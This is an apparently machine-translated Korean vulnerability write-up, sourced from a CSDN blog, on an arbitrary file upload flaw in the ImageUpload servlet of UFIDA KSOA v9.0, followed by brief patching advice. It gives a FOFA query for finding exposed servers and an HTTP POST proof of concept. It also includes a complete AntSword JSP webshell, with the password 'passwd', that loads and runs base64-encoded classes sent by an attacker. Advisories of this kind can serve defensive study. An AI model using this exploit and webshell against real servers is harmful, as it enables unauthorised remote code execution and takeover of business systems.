UFIDA KSOA ImageUpload 임의 파일 업로드 취약점 재발 + 악용

1. 제품 소개

  UFIDA KSOA는 SOA 개념을 바탕으로 개발된 차세대 제품으로 유통업체의 최첨단 I Needs에 따라 출시된 통합 IT 인프라로 다양한 시대의 유통업체에서 구축한 IT 시스템과 통신할 수 있도록 합니다. 유통기업이 기존의 IT 투자를 보호하고, IT 관리를 단순화하고, 경쟁력을 강화하고, 기업의 전반적인 전략 목표와 혁신 활동을 실현할 수 있도록 지원합니다.

2. 취약점 개요

   UFIDA KSOA 플랫폼의 ImageUpload에는 공격자가 서버 권한을 획득할 수 있는 임의 파일 업로드 취약점이 존재한다. 

3. 영향 범위

  UFIDA 기업 정보 통합 플랫폼 KSOA v9.0

4. 환경 재현

  FOFA:app="Yonyou-Time and Space KSOA"

5. 취약점 재발

Burp는 ​​홈 페이지 패키지를 가져와 복제를 위해 반복기 모듈로 보냅니다. 

 POC

POST /servlet/com.sksoft.bill.ImageUpload?filename=[上传的文件名]&filepath=/ HTTP/1.1
Host: your-ip

[文件内容]

 

성공적으로 재현됨

6. 착취 

이 페이지는 자바로 작성되었습니다. Ant Sword jsp 한 문장 트로이 목마를 직접 업로드해 보세요. 비밀번호: passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

파싱 ​​가능한지 확인

문제 없습니다. Ant Sword를 열고 연결을 시도하세요(테스트 후 백도어를 삭제하는 것을 잊지 마세요).

 7. 수리 제안

      안전한 버전 또는 패치로 업그레이드

      인터넷 노출 감소, 업로드 파일 유형 제한, 업로드 블랙리스트 및 화이트리스트 제약 증가 등

추천

출처blog.csdn.net/qq_41904294/article/details/129954240